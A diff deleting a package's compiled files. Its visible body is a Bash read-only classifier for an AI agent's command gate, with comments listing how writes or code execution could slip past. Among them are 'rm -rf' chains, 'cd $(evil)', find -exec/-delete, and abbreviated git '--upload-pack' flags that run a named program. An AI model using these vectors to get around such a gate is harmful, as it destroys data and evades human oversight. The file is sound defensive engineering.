- package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.d.ts +0 -620
- package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.js +0 -1047
- package/dist/policy-packs/builtin/understanding-before-execution/persisted-reports.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.d.ts +0 -128
- package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.js +0 -213
- package/dist/policy-packs/builtin/understanding-before-execution/post-tool-use-boundary.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.d.ts +0 -129
- package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.js +0 -166
- package/dist/policy-packs/builtin/understanding-before-execution/stay-in-scope-config.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/task-markers.d.ts +0 -164
- package/dist/policy-packs/builtin/understanding-before-execution/task-markers.js +0 -275
- package/dist/policy-packs/builtin/understanding-before-execution/task-markers.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.d.ts +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.js +0 -10
- package/dist/policy-packs/builtin/understanding-before-execution-runtime.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution.d.ts +0 -526
- package/dist/policy-packs/builtin/understanding-before-execution.js +0 -1074
- package/dist/policy-packs/builtin/understanding-before-execution.js.map +0 -1
- package/dist/policy-packs/permission-translator.d.ts +0 -9
- package/dist/policy-packs/permission-translator.js +0 -76
- package/dist/policy-packs/permission-translator.js.map +0 -1
- package/dist/runtime/action-envelope.d.ts +0 -64
- package/dist/runtime/action-envelope.js +0 -46
- package/dist/runtime/action-envelope.js.map +0 -1
- package/dist/runtime/approval-signing.d.ts +0 -111
- package/dist/runtime/approval-signing.js +0 -384
- package/dist/runtime/approval-signing.js.map +0 -1
- package/dist/runtime/bash-match-facts.d.ts +0 -60
- package/dist/runtime/bash-match-facts.js +0 -196
- package/dist/runtime/bash-match-facts.js.map +0 -1
- package/dist/runtime/bash-match-registry.d.ts +0 -112
- package/dist/runtime/bash-match-registry.js +0 -406
- package/dist/runtime/bash-match-registry.js.map +0 -1
- package/dist/runtime/bash-prefix-parse.d.ts +0 -31
- package/dist/runtime/bash-prefix-parse.js +0 -576
- package/dist/runtime/bash-prefix-parse.js.map +0 -1
- package/dist/runtime/command-normalize.d.ts +0 -658
- package/dist/runtime/command-normalize.js +0 -2410
- package/dist/runtime/command-normalize.js.map +0 -1
- package/dist/runtime/deletion-target-resolve.d.ts +0 -28
- package/dist/runtime/deletion-target-resolve.js +0 -1078
- package/dist/runtime/deletion-target-resolve.js.map +0 -1
- package/dist/runtime/destructive-shell-floor.d.ts +0 -19
- package/dist/runtime/destructive-shell-floor.js +0 -611
- package/dist/runtime/destructive-shell-floor.js.map +0 -1
- package/dist/runtime/environment-resolver.d.ts +0 -36
- package/dist/runtime/environment-resolver.js +0 -138
- package/dist/runtime/environment-resolver.js.map +0 -1
- package/dist/runtime/git-context.d.ts +0 -201
- package/dist/runtime/git-context.js +0 -422
- package/dist/runtime/git-context.js.map +0 -1
- package/dist/runtime/index.d.ts +0 -12
- package/dist/runtime/index.js +0 -13
- package/dist/runtime/index.js.map +0 -1
- package/dist/runtime/intercept.d.ts +0 -494
- package/dist/runtime/intercept.js +0 -1313
- package/dist/runtime/intercept.js.map +0 -1
- package/dist/runtime/kube-context.d.ts +0 -16
- package/dist/runtime/kube-context.js +0 -63
- package/dist/runtime/kube-context.js.map +0 -1
- package/dist/runtime/kubectl-target-parse.d.ts +0 -31
- package/dist/runtime/kubectl-target-parse.js +0 -249
- package/dist/runtime/kubectl-target-parse.js.map +0 -1
- package/dist/runtime/ledger-add.d.ts +0 -16
- package/dist/runtime/ledger-add.js +0 -150
- package/dist/runtime/ledger-add.js.map +0 -1
- package/dist/runtime/ledger-writer.d.ts +0 -27
- package/dist/runtime/ledger-writer.js +0 -46
- package/dist/runtime/ledger-writer.js.map +0 -1
- package/dist/runtime/pause-sentinel.d.ts +0 -60
- package/dist/runtime/pause-sentinel.js +0 -156
- package/dist/runtime/pause-sentinel.js.map +0 -1
- package/dist/runtime/pending-approval.d.ts +0 -23
- package/dist/runtime/pending-approval.js +0 -67
- package/dist/runtime/pending-approval.js.map +0 -1
- package/dist/runtime/read-only-bash.d.ts +0 -141
- package/dist/runtime/read-only-bash.js +0 -2204
- package/dist/runtime/read-only-bash.js.map +0 -1
- package/dist/runtime/recovery-git-commit.d.ts +0 -22
- package/dist/runtime/recovery-git-commit.js +0 -284
- package/dist/runtime/recovery-git-commit.js.map +0 -1
- package/dist/runtime/reject-malformed-session-id.d.ts +0 -8
- package/dist/runtime/reject-malformed-session-id.js +0 -16
- package/dist/runtime/reject-malformed-session-id.js.map +0 -1
- package/dist/runtime/risk-classifier.d.ts +0 -38
- package/dist/runtime/risk-classifier.js +0 -311
- package/dist/runtime/risk-classifier.js.map +0 -1
- package/dist/runtime/session-id.d.ts +0 -113
- package/dist/runtime/session-id.js +0 -193
- package/dist/runtime/session-id.js.map +0 -1
- package/dist/runtime/shell-word.d.ts +0 -62
- package/dist/runtime/shell-word.js +0 -410
- package/dist/runtime/shell-word.js.map +0 -1
- package/dist/runtime/task-providers/agent-tasks.d.ts +0 -103
- package/dist/runtime/task-providers/agent-tasks.js +0 -245
- package/dist/runtime/task-providers/agent-tasks.js.map +0 -1
- package/dist/runtime/when-eval.d.ts +0 -62
- package/dist/runtime/when-eval.js +0 -212
- package/dist/runtime/when-eval.js.map +0 -1
- package/dist/runtime/workflow-policies.d.ts +0 -207
- package/dist/runtime/workflow-policies.js +0 -596
- package/dist/runtime/workflow-policies.js.map +0 -1
- package/dist/schema/audit.d.ts +0 -71
- package/dist/schema/audit.js +0 -32
- package/dist/schema/audit.js.map +0 -1
- package/dist/schema/doctor.d.ts +0 -25
- package/dist/schema/doctor.js +0 -23
- package/dist/schema/doctor.js.map +0 -1
- package/dist/schema/environments.d.ts +0 -215
- package/dist/schema/environments.js +0 -101
- package/dist/schema/environments.js.map +0 -1
- package/dist/schema/extract.d.ts +0 -9
- package/dist/schema/extract.js +0 -86
- package/dist/schema/extract.js.map +0 -1
- package/dist/schema/permission-profiles.d.ts +0 -2292
- package/dist/schema/permission-profiles.js +0 -60
- package/dist/schema/permission-profiles.js.map +0 -1
- package/dist/schema/policies.d.ts +0 -974
- package/dist/schema/policies.js +0 -298
- package/dist/schema/policies.js.map +0 -1
- package/dist/schema/requires.d.ts +0 -131
- package/dist/schema/requires.js +0 -88
- package/dist/schema/requires.js.map +0 -1
- package/dist/schema/risk.d.ts +0 -144
- package/dist/schema/risk.js +0 -194
- package/dist/schema/risk.js.map +0 -1
- package/dist/schema/session-start-preflight.d.ts +0 -10
- package/dist/schema/session-start-preflight.js +0 -106
- package/dist/schema/session-start-preflight.js.map +0 -1
- package/dist/schema/stale-base-check.d.ts +0 -18
- package/dist/schema/stale-base-check.js +0 -37
- package/dist/schema/stale-base-check.js.map +0 -1
- package/dist/schema/toolchain-parity.d.ts +0 -21
- package/dist/schema/toolchain-parity.js +0 -48
- package/dist/schema/toolchain-parity.js.map +0 -1
- package/dist/schema/workflows.d.ts +0 -519
- package/dist/schema/workflows.js +0 -81
- package/dist/schema/workflows.js.map +0 -1
- package/scripts/runtime-reality-docker-probe.mjs +0 -71
|
@@ -1,2204 +0,0 @@
|
|
|
1
|
-
// Read-only Bash command classifier, shared by two gates that must not
|
|
2
|
-
// fail-close on a command that mutates nothing: the understanding-gate
|
|
3
|
-
// PreToolUse blocker (allows a provably read-only Bash command without
|
|
4
|
-
// an approved report) and the Risk Classifier's read-only floor
|
|
5
|
-
// (classifies one as `low` instead of fail-closed unclassified). Lives
|
|
6
|
-
// in runtime/ so both the cli/pack hooks and the runtime classifier
|
|
7
|
-
// import it without a cli -> runtime layering inversion.
|
|
8
|
-
//
|
|
9
|
-
// The pack's hook matcher `Edit|Write|Bash` is too broad on its own:
|
|
10
|
-
// `Bash` covers commands like `git status`, `gh pr view`, `ls`, `cat`
|
|
11
|
-
// that mutate nothing. Hard-blocking them behind a full Understanding
|
|
12
|
-
// Report cycle trains the agent and operator to experience the gate
|
|
13
|
-
// as noise, which erodes its credibility on the writes that actually
|
|
14
|
-
// matter. A gate scoped exactly to what it must stop is a credible
|
|
15
|
-
// gate.
|
|
16
|
-
//
|
|
17
|
-
// Design contract:
|
|
18
|
-
// - The allowlist is intentionally conservative. Anything not on it
|
|
19
|
-
// is treated as a write (block). Better to occasionally annoy a
|
|
20
|
-
// read-only command we haven't enumerated than to let a write slip.
|
|
21
|
-
// - Any shell chaining (`;`, `&&`, `||`, `|`), redirection (`>`,
|
|
22
|
-
// `>>`, `<`), or command substitution (backticks, `$()`) makes the
|
|
23
|
-
// whole composition unclassifiable. Even if every individual piece
|
|
24
|
-
// would be read-only, a chained or substituted command can hide
|
|
25
|
-
// writes inside its construction. Refuse the whole thing.
|
|
26
|
-
// - `isReadOnlyBashPipeline` is a narrower exception used ONLY by the
|
|
27
|
-
// understanding-gate PreToolUse hooks: it admits a single-`|` pipeline
|
|
28
|
-
// when EVERY stage independently classifies read-only, while still
|
|
29
|
-
// refusing `;`, `&` (and therefore `&&`, `|&`, background `&`), `||`,
|
|
30
|
-
// redirection, and substitution. A pipeline whose every stage is on
|
|
31
|
-
// the conservative read-only allowlist cannot write (writing needs a
|
|
32
|
-
// write-bin, a redirect, or a substitution, all still refused), so
|
|
33
|
-
// allowing it does not widen what the gate permits — it only stops the
|
|
34
|
-
// gate from blocking a read-only poll like `gh pr checks 123 | head`.
|
|
35
|
-
// `isReadOnlyBashCommand` itself stays strict (refuses all chaining)
|
|
36
|
-
// for the Risk Classifier read-only floor and the solution-acceptance
|
|
37
|
-
// write-guard, which must not treat any chaining as read-only.
|
|
38
|
-
// - The classifier never short-circuits write detection: if a command
|
|
39
|
-
// is on the allowlist but a write indicator is also present, the
|
|
40
|
-
// write indicator wins. The shell-metachar check above accomplishes
|
|
41
|
-
// this without a separate write-binary deny list (the meta-chars
|
|
42
|
-
// are how a write would be smuggled into a "read-only" command in
|
|
43
|
-
// the first place).
|
|
44
|
-
// - Some bins are not admitted to the simple unconditional allowlist
|
|
45
|
-
// because they can write via their own flags or operands without any
|
|
46
|
-
// shell metacharacter. `find` is the canonical example (guarded by
|
|
47
|
-
// `FIND_WRITE_FLAGS`). `sort`, `tree`, and `file` receive the same
|
|
48
|
-
// per-bin write-flag guard: their read forms are classified read-only
|
|
49
|
-
// when none of their write flags appear in the token list. `uniq`,
|
|
50
|
-
// `date`, and `hostname` are excluded entirely because their write
|
|
51
|
-
// vectors are positional operands or cluster-ambiguous flag chars
|
|
52
|
-
// that cannot be detected cleanly (see `SIMPLE_READ_ONLY_BINS`).
|
|
53
|
-
//
|
|
54
|
-
// This module is the canonical home for the classification within
|
|
55
|
-
// harness. If the @lannguyensi/understanding-gate package adds a
|
|
56
|
-
// parallel classifier in the future, it should mirror this allowlist
|
|
57
|
-
// verbatim, not diverge.
|
|
58
|
-
import { decodeShellWord, hasAnsiCNulEscape } from "./shell-word.js";
|
|
59
|
-
import { GIT_GLOBAL_NO_VALUE_FLAGS, GIT_GLOBAL_VALUE_TAKING_FLAGS, GIT_TOKEN_RE, } from "./command-normalize.js";
|
|
60
|
-
/**
|
|
61
|
-
* Single-token read-only binaries. Each accepts arguments without
|
|
62
|
-
* changing classification: `ls -la /tmp` is still read-only.
|
|
63
|
-
*
|
|
64
|
-
* `cd` is included here even though it is a shell builtin, not an
|
|
65
|
-
* external binary — same as `echo`/`true`/`false` already in this set,
|
|
66
|
-
* the classifier only inspects argv tokens, not builtin-vs-binary
|
|
67
|
-
* status. `cd` mutates only the invoking shell process's own working
|
|
68
|
-
* directory; by construction it cannot write to the filesystem or
|
|
69
|
-
* touch production, and unlike `find`/`sort`/`tree`/`file` it has no
|
|
70
|
-
* flag whose value is an output path, so no per-bin write-flag guard is
|
|
71
|
-
* needed. A chained or redirected form (`cd /x && rm -rf /`,
|
|
72
|
-
* `cd $(evil)`) never reaches this set: the shell-metacharacter /
|
|
73
|
-
* substitution guard in `isReadOnlyBashCommand` refuses the whole
|
|
74
|
-
* string before tokenization, so only the bare navigation form (`cd`,
|
|
75
|
-
* `cd -`, `cd DIR`, with or without `-L`/`-P`) is ever classified here.
|
|
76
|
-
*
|
|
77
|
-
* Deliberately EXCLUDED because their write vector is not a clean flag:
|
|
78
|
-
*
|
|
79
|
-
* `uniq`: a second positional operand is the output file. Detecting a
|
|
80
|
-
* write requires positional-operand counting, which is out of scope for
|
|
81
|
-
* a token-scan classifier.
|
|
82
|
-
*
|
|
83
|
-
* `date`: `-s` sets the system clock, but the `-s` character appears
|
|
84
|
-
* inside getopt clusters shared with benign flags (`-Iseconds` is parsed
|
|
85
|
-
* by GNU date as `-I FMT=seconds`, not `-I -s econds`). A char-in-
|
|
86
|
-
* cluster check would produce false positives on read-only date forms,
|
|
87
|
-
* and false negatives on combined forms like `-us`.
|
|
88
|
-
*
|
|
89
|
-
* `hostname`: `hostname NAME` sets the hostname via a positional operand,
|
|
90
|
-
* not a flag. Detecting the write requires positional-operand counting.
|
|
91
|
-
*
|
|
92
|
-
* `sort`, `tree`, and `file` are NOT in this set but each gets a per-bin
|
|
93
|
-
* write-flag guard below (like `find`): each has an enumerable set of
|
|
94
|
-
* write/exec flags detectable by scanning tokens without counting
|
|
95
|
-
* positional operands. The guard must cover EVERY write/exec vector, not
|
|
96
|
-
* just output redirection: sort guards `-o` / `--output` (output),
|
|
97
|
-
* `--compress-program` (runs an arbitrary program on spill files), and
|
|
98
|
-
* `-T` / `--temporary-directory` (scratch write); tree guards `-o` /
|
|
99
|
-
* `--output`; file guards `-C` / `--compile`.
|
|
100
|
-
*/
|
|
101
|
-
const SIMPLE_READ_ONLY_BINS = new Set([
|
|
102
|
-
"ls", "cat", "pwd", "which", "type",
|
|
103
|
-
"grep", "rg", "wc",
|
|
104
|
-
"head", "tail", "stat", "du", "df",
|
|
105
|
-
"ps", "whoami", "id", "echo", "printenv",
|
|
106
|
-
"true", "false", "uptime", "uname", "tty",
|
|
107
|
-
"basename", "dirname", "realpath", "readlink",
|
|
108
|
-
"less", "more", "cmp", "diff", "comm",
|
|
109
|
-
"cut", "tr", "tac", "rev",
|
|
110
|
-
"cd",
|
|
111
|
-
]);
|
|
112
|
-
/**
|
|
113
|
-
* `find` flags that make `find` itself a write tool, regardless of
|
|
114
|
-
* shell metacharacters. `find` is the one binary in the canonical
|
|
115
|
-
* read-only set whose own arguments can mutate the filesystem
|
|
116
|
-
* (`-delete`) or shell out to a write command (`-exec`, `-execdir`,
|
|
117
|
-
* `-ok`, `-okdir`). It also has output-write flags (`-fprint`,
|
|
118
|
-
* `-fprintf`, `-fprint0`, `-fls`) that would land outside any
|
|
119
|
-
* redirection guard. Any of these tokens anywhere in the argv
|
|
120
|
-
* forfeits the read-only classification, so `find` is treated as a
|
|
121
|
-
* special case rather than included in `SIMPLE_READ_ONLY_BINS`.
|
|
122
|
-
*/
|
|
123
|
-
const FIND_WRITE_FLAGS = new Set([
|
|
124
|
-
"-delete",
|
|
125
|
-
"-exec", "-execdir", "-ok", "-okdir",
|
|
126
|
-
"-fprint", "-fprintf", "-fprint0", "-fls",
|
|
127
|
-
]);
|
|
128
|
-
/**
|
|
129
|
-
* Command-runner binaries: their argv is itself a nested command to
|
|
130
|
-
* execute, so the "each accepts arguments without changing
|
|
131
|
-
* classification" rule does NOT hold for them. `command rm -rf /tmp/x`
|
|
132
|
-
* runs `rm`, and `env FOO=bar rm -rf /tmp/x` runs `rm` too. Including
|
|
133
|
-
* them in `SIMPLE_READ_ONLY_BINS` would classify the WRAPPER as
|
|
134
|
-
* read-only while the wrapped command does the write, a hard gate
|
|
135
|
-
* bypass. Each runner gets a `find`-style special case below that
|
|
136
|
-
* strips the runner's own leading flags/assignments and recurse-
|
|
137
|
-
* classifies the residual underlying command. Bare `env` /
|
|
138
|
-
* `command` (no underlying command) stay read-only: they only print
|
|
139
|
-
* the environment or resolve a name.
|
|
140
|
-
*
|
|
141
|
-
* `env` leading flags that take no command and do not change the fact
|
|
142
|
-
* that what follows is still a command to run. `-i` / `--ignore-
|
|
143
|
-
* environment` and `-u NAME` / `--unset=NAME` scrub the environment
|
|
144
|
-
* but still execute the residual command; `-` is the historical
|
|
145
|
-
* synonym for `-i`. `--` ends option parsing. We skip these (and any
|
|
146
|
-
* `NAME=VALUE` assignment tokens) to find the real underlying command.
|
|
147
|
-
*
|
|
148
|
-
* Exported (F6 fix, review round 2026-07-27, run
|
|
149
|
-
* 2026-07-27-gate-target-repo-resolution): `command-normalize.ts`'s
|
|
150
|
-
* `peelEnv` used to hand-roll its own copy of this exact enumeration
|
|
151
|
-
* ("that module's constants are private" — no longer true), and the two
|
|
152
|
-
* copies had already drifted (see that module's header for the confirmed
|
|
153
|
-
* divergence). Exporting the NAME sets here — not the parsing logic
|
|
154
|
-
* itself — lets both callers share one source of truth for "which `env`
|
|
155
|
-
* flags exist" while each keeps its own decision about what a match
|
|
156
|
-
* means (this file only needs to skip past them; `command-normalize.ts`
|
|
157
|
-
* additionally needs the VALUE of `-C`/`--chdir` to extract a target
|
|
158
|
-
* directory, which stays local to that module). No behaviour change here.
|
|
159
|
-
*/
|
|
160
|
-
export const ENV_LEADING_FLAGS = new Set([
|
|
161
|
-
"-i", "--ignore-environment", "-", "--",
|
|
162
|
-
]);
|
|
163
|
-
/** `env` flags that consume the following token as their value. */
|
|
164
|
-
export const ENV_VALUE_FLAGS = new Set([
|
|
165
|
-
"-u", "--unset",
|
|
166
|
-
"-C", "--chdir",
|
|
167
|
-
]);
|
|
168
|
-
/**
|
|
169
|
-
* `env -S` / `--split-string` re-parses its single string argument
|
|
170
|
-
* into a fresh argv, which defeats our whitespace tokenization: the
|
|
171
|
-
* write would live inside one quoted token. Any appearance of the
|
|
172
|
-
* split-string flag (bare, glued, or long-form) forfeits the
|
|
173
|
-
* read-only classification. Fail closed.
|
|
174
|
-
*/
|
|
175
|
-
export const ENV_SPLIT_STRING_FLAGS = /^(-S.*|--split-string(=.*)?)$/;
|
|
176
|
-
/**
|
|
177
|
-
* `less` and `more` can shell out via interactive `!cmd`. The agent
|
|
178
|
-
* shell is non-interactive, so the escape is not reachable in
|
|
179
|
-
* practice today; the entry stays in the simple-read-only set with
|
|
180
|
-
* a documented caveat in case a future runtime PTYs the agent.
|
|
181
|
-
*/
|
|
182
|
-
/**
|
|
183
|
-
* `git` subcommands whose NAME is a prerequisite for read-only
|
|
184
|
-
* classification. Membership here is necessary but NOT sufficient:
|
|
185
|
-
* several of these subcommands mutate once given arguments (task
|
|
186
|
-
* 9d1fff1b, measured against real git 2.50.1), so `isReadOnlyGitInvocation`
|
|
187
|
-
* below applies a per-subcommand argument-form check on top of this set.
|
|
188
|
-
* A name not in this set is a write (block) unconditionally.
|
|
189
|
-
*
|
|
190
|
-
* `git config` is excluded: with arguments it can set values.
|
|
191
|
-
*/
|
|
192
|
-
const GIT_READ_ONLY_SUBS = new Set([
|
|
193
|
-
"status", "log", "diff", "show", "branch", "tag",
|
|
194
|
-
"fetch", "remote", "ls-files", "ls-remote", "ls-tree",
|
|
195
|
-
"rev-parse", "rev-list", "describe", "blame", "shortlog",
|
|
196
|
-
"reflog", "cat-file", "check-ref-format", "for-each-ref",
|
|
197
|
-
"name-rev", "merge-base", "show-ref",
|
|
198
|
-
]);
|
|
199
|
-
/**
|
|
200
|
-
* Tokens that make ANY git invocation write or execute, independent of
|
|
201
|
-
* the subcommand — so the check is applied globally, above the
|
|
202
|
-
* per-subcommand switch (task 9d1fff1b, review round 1, all measured
|
|
203
|
-
* against git 2.50.1):
|
|
204
|
-
*
|
|
205
|
-
* - `--output=<path>` / `--output <path>` creates/truncates a file at
|
|
206
|
-
* OPTION-PARSE time (git's shared `diff_opt_parse` -> `xfopen`), not
|
|
207
|
-
* just in diff/log/show: measured writing a file on `git rev-list
|
|
208
|
-
* --output`, `git shortlog --output`, and `git blame --output` too,
|
|
209
|
-
* all of which are otherwise-read-only subcommands. Scoping the
|
|
210
|
-
* forfeit to a subcommand list would need re-auditing on every git
|
|
211
|
-
* version for which parsers reach that handler; a global forfeit
|
|
212
|
-
* does not, and no read-only git subcommand uses `--output` as a
|
|
213
|
-
* read flag. Detected on the exact long form ONLY (no abbreviation
|
|
214
|
-
* handling) — task 62fa0542 measured `--output` on git 2.50.1 and
|
|
215
|
-
* found the diff/log/show/rev-list/shortlog/blame option parser does
|
|
216
|
-
* NOT do GNU abbreviation matching for this flag at all: every prefix
|
|
217
|
-
* shorter than the full 8 characters (`--o`..`--outpu`) errored
|
|
218
|
-
* `invalid option` / `unrecognized argument` / `unknown option`
|
|
219
|
-
* WITHOUT writing the canary file, on every one of those subcommands.
|
|
220
|
-
* Adding an abbreviation arm here would only over-block (e.g.
|
|
221
|
-
* `--o` is not close to any other real flag, so no live over-block
|
|
222
|
-
* was found either) with no matching security benefit on this git
|
|
223
|
-
* version, so the exact-match stays as the measured-correct guard;
|
|
224
|
-
* re-measure if the guarded git version ever changes.
|
|
225
|
-
* - `--upload-pack` / `--exec` / `--receive-pack`, in ANY unambiguous
|
|
226
|
-
* GNU/BSD `getopt_long` abbreviation (task 62fa0542, real ACE bypass:
|
|
227
|
-
* `git ls-remote --upl=/prog .` resolves to `--upload-pack` and runs
|
|
228
|
-
* `/prog` — the exact-spelling-only guard that shipped in 9d1fff1b
|
|
229
|
-
* missed every abbreviated form). Each one runs an operator-named
|
|
230
|
-
* binary: measured `git fetch --upload-pack=<script> <local-repo>`
|
|
231
|
-
* and `git ls-remote --upload-pack=<script> <local-repo>` executing
|
|
232
|
-
* the script; `--receive-pack` is blocked defensively by analogy
|
|
233
|
-
* (transport-option sibling of `--upload-pack`/`--exec`, config- and
|
|
234
|
-
* version-dependent, not reachable on any subcommand in
|
|
235
|
-
* `GIT_READ_ONLY_SUBS` on the measured git 2.50.1 — same fail-closed
|
|
236
|
-
* posture as the `::` transport arm below). See `isLongOptionAbbreviation`
|
|
237
|
-
* call sites just below for the measured minimum prefix length and
|
|
238
|
-
* the per-flag measurement table in this module's git-guard tests.
|
|
239
|
-
* - a NON-flag positional containing `::` is the `ext::`/`fd::`
|
|
240
|
-
* transport-helper form, which runs a local program (protocol.ext
|
|
241
|
-
* defaults to `user`, i.e. allowed for a direct CLI call). Blocked
|
|
242
|
-
* defensively — it did not execute on the probe machine's git config,
|
|
243
|
-
* but the vector is config/version-dependent and cheap to close.
|
|
244
|
-
* Checked only on positionals so a `--format='%h::%s'` read stays
|
|
245
|
-
* read-only (the `::` is inside a flag, not a remote position).
|
|
246
|
-
*/
|
|
247
|
-
function isGitDangerousToken(raw) {
|
|
248
|
-
const hit = (t) => {
|
|
249
|
-
if (t === "--output" || t.startsWith("--output="))
|
|
250
|
-
return true;
|
|
251
|
-
// `--upload-pack`: measured minimum unambiguous prefix is 1 character
|
|
252
|
-
// past `--` (`--u`), on `git ls-remote` (git 2.50.1) — `ls-remote`'s
|
|
253
|
-
// option table has no other `u`-prefixed flag, so `--u` resolves
|
|
254
|
-
// unambiguously to `--upload-pack` there even though the SAME prefix
|
|
255
|
-
// is ambiguous on `git fetch` (`--unshallow` / `--update-shallow`,
|
|
256
|
-
// needs `--upl`, 3 chars past `--`, to disambiguate — re-measured
|
|
257
|
-
// task 62fa0542 review round 1, correcting an off-by-one in the
|
|
258
|
-
// original 4-chars claim: `git fetch --upl=<script> <repo>` already
|
|
259
|
-
// attempts to exec the script; `--up` alone still errors ambiguous
|
|
260
|
-
// against `--update-head-ok`/`--update-shallow`). Per the fail-closed rule
|
|
261
|
-
// (a prefix unambiguous on ANY relevant subcommand is blocked
|
|
262
|
-
// everywhere), the minimum of the two — 1 — is used globally. Known,
|
|
263
|
-
// disclosed over-block cost at this minimum (measured, git 2.50.1):
|
|
264
|
-
// `git status --u` (-> `--untracked-files`), `git ls-files --u`
|
|
265
|
-
// (-> `--unmerged`), `git name-rev --u` (-> `--undefined`) are all
|
|
266
|
-
// genuinely read-only real git behavior that this guard now blocks.
|
|
267
|
-
if (isLongOptionAbbreviation(t, "--upload-pack", 1))
|
|
268
|
-
return true;
|
|
269
|
-
// `--exec`: on `git ls-remote` (a hidden legacy alias for
|
|
270
|
-
// `--upload-pack`, same execution vector, undocumented in `-h`), the
|
|
271
|
-
// measured minimum unambiguous prefix is 3 characters past `--`
|
|
272
|
-
// (`--exe`) — `--e` / `--ex` are ambiguous with `--exit-code` and
|
|
273
|
-
// ERROR (do not execute). No read-only subcommand other than
|
|
274
|
-
// `ls-remote` accepts `--exec` at all (measured against every name
|
|
275
|
-
// in `GIT_READ_ONLY_SUBS`), and no other flag on any of those
|
|
276
|
-
// subcommands starts with `exe`, so no over-block was found at this
|
|
277
|
-
// minimum.
|
|
278
|
-
if (isLongOptionAbbreviation(t, "--exec", 3))
|
|
279
|
-
return true;
|
|
280
|
-
// `--receive-pack`: not accepted, at any prefix length, by any
|
|
281
|
-
// subcommand in `GIT_READ_ONLY_SUBS` on the measured git 2.50.1 (it
|
|
282
|
-
// is a `push`/`send-pack` option) — the exact spelling was already
|
|
283
|
-
// blocked defensively pre-fix, so this is the same defense extended
|
|
284
|
-
// to abbreviations, not a newly-reachable vector. Calibrated against
|
|
285
|
-
// `git push` (a `send-pack` front end): measured minimum unambiguous
|
|
286
|
-
// prefix is 4 characters past `--`, `--rece` — re-measured task
|
|
287
|
-
// 62fa0542 review round 1, correcting an off-by-one in the original
|
|
288
|
-
// 3-chars (`--rec`) claim: `git push --rec=<script> --dry-run <repo>
|
|
289
|
-
// HEAD:x` errors `ambiguous option: rec (could be --recurse-submodules
|
|
290
|
-
// or --receive-pack)`, while `--rece=<script> ...` already attempts to
|
|
291
|
-
// read from the named script as the remote helper. At the corrected
|
|
292
|
-
// minimum 4, there is no known over-block for this receive-pack arm:
|
|
293
|
-
// `--rec` stays read-only not because we block it, but because on real
|
|
294
|
-
// git it resolves to the unrelated, harmless `--recurse-submodules`
|
|
295
|
-
// (below the minimum), so it errors naturally as an ambiguous option.
|
|
296
|
-
if (isLongOptionAbbreviation(t, "--receive-pack", 4))
|
|
297
|
-
return true;
|
|
298
|
-
if (!t.startsWith("-") && t.includes("::"))
|
|
299
|
-
return true;
|
|
300
|
-
return false;
|
|
301
|
-
};
|
|
302
|
-
// raw-OR-decoded (repo convention, task fdee7d0f): decoding can only
|
|
303
|
-
// ADD a match, so a quoted `--"output"=x` / `ext"::"x` cannot slip past.
|
|
304
|
-
return hit(raw) || hit(decodeShellWord(raw));
|
|
305
|
-
}
|
|
306
|
-
/**
|
|
307
|
-
* Branch write flags that need NO positional operand (the positional
|
|
308
|
-
* write forms — `git branch -D main`, `git branch newname` — are
|
|
309
|
-
* already caught structurally by the "no non-flag operand" rule in
|
|
310
|
-
* `isReadOnlyGitInvocation`). These glued/standalone forms mutate
|
|
311
|
-
* config or descriptions of the CURRENT branch without a positional,
|
|
312
|
-
* so the structural rule alone would miss them. Closed set from git's
|
|
313
|
-
* branch(1) manual.
|
|
314
|
-
*
|
|
315
|
-
* EXACT spellings and short flags only. Every long-form entry also has
|
|
316
|
-
* an unambiguous GNU `getopt_long` ABBREVIATION vector (task 62fa0542,
|
|
317
|
-
* review round 1 fix on 2118d30: `git branch --unse` really unsets the
|
|
318
|
-
* upstream, `GIT_EDITOR=... git branch --edi` really writes
|
|
319
|
-
* `branch.<name>.description` and spawns the editor, `git branch
|
|
320
|
-
* --set-upstream-t=other` really sets tracking — the exact-spelling-only
|
|
321
|
-
* set below missed every one of these), closed by `isBranchWriteFlag`
|
|
322
|
-
* below via `isLongOptionAbbreviation`, NOT by widening this set (which
|
|
323
|
-
* only ever holds exact tokens).
|
|
324
|
-
*
|
|
325
|
-
* MEASUREMENT TABLE (git 2.50.1, `git branch <flag>` on a real repo,
|
|
326
|
-
* ground truth = a created/measured artefact — a config write, an
|
|
327
|
-
* editor invocation via `GIT_EDITOR`, a deleted/renamed/copied branch —
|
|
328
|
-
* never the exit code alone; scratchpad/gitmeasure/repo, this run):
|
|
329
|
-
*
|
|
330
|
-
* flag shortest unambiguous prefix over-block
|
|
331
|
-
* --delete --d (1 char) none found
|
|
332
|
-
* --move --mo (2 chars) none found
|
|
333
|
-
* --copy --cop (3 chars) none found
|
|
334
|
-
* --force --forc (4 chars) none found
|
|
335
|
-
* --unset-upstream --u (1 char) none found
|
|
336
|
-
* --edit-description --e (1 char) none found
|
|
337
|
-
* --set-upstream-to --set-upstream- (13 chars,
|
|
338
|
-
* NOTE the trailing hyphen is part of the
|
|
339
|
-
* minimum: `--set-upstream` alone (12 chars,
|
|
340
|
-
* no trailing `-`) is the deprecated exact
|
|
341
|
-
* `--set-upstream` alias instead, already an
|
|
342
|
-
* exact-match entry above; adding the `-`
|
|
343
|
-
* disambiguates towards `-to`) none found
|
|
344
|
-
*
|
|
345
|
-
* "none found" means: no OTHER long option on `git branch`'s option
|
|
346
|
-
* table (`--verbose`, `--quiet`, `--track`, `--color`, `--contains`,
|
|
347
|
-
* `--no-contains`, `--abbrev`, `--all`, `--omit-empty`, `--list`,
|
|
348
|
-
* `--show-current`, `--create-reflog`, `--merged`, `--no-merged`,
|
|
349
|
-
* `--column`, `--sort`, `--points-at`, `--ignore-case`,
|
|
350
|
-
* `--recurse-submodules`, `--format`) shares a prefix with any of the
|
|
351
|
-
* flags above at or past the measured minimum length, so none of these
|
|
352
|
-
* abbreviation arms blocks a genuinely harmless `git branch` read form
|
|
353
|
-
* (confirmed by direct measurement of each one, not by inspection
|
|
354
|
-
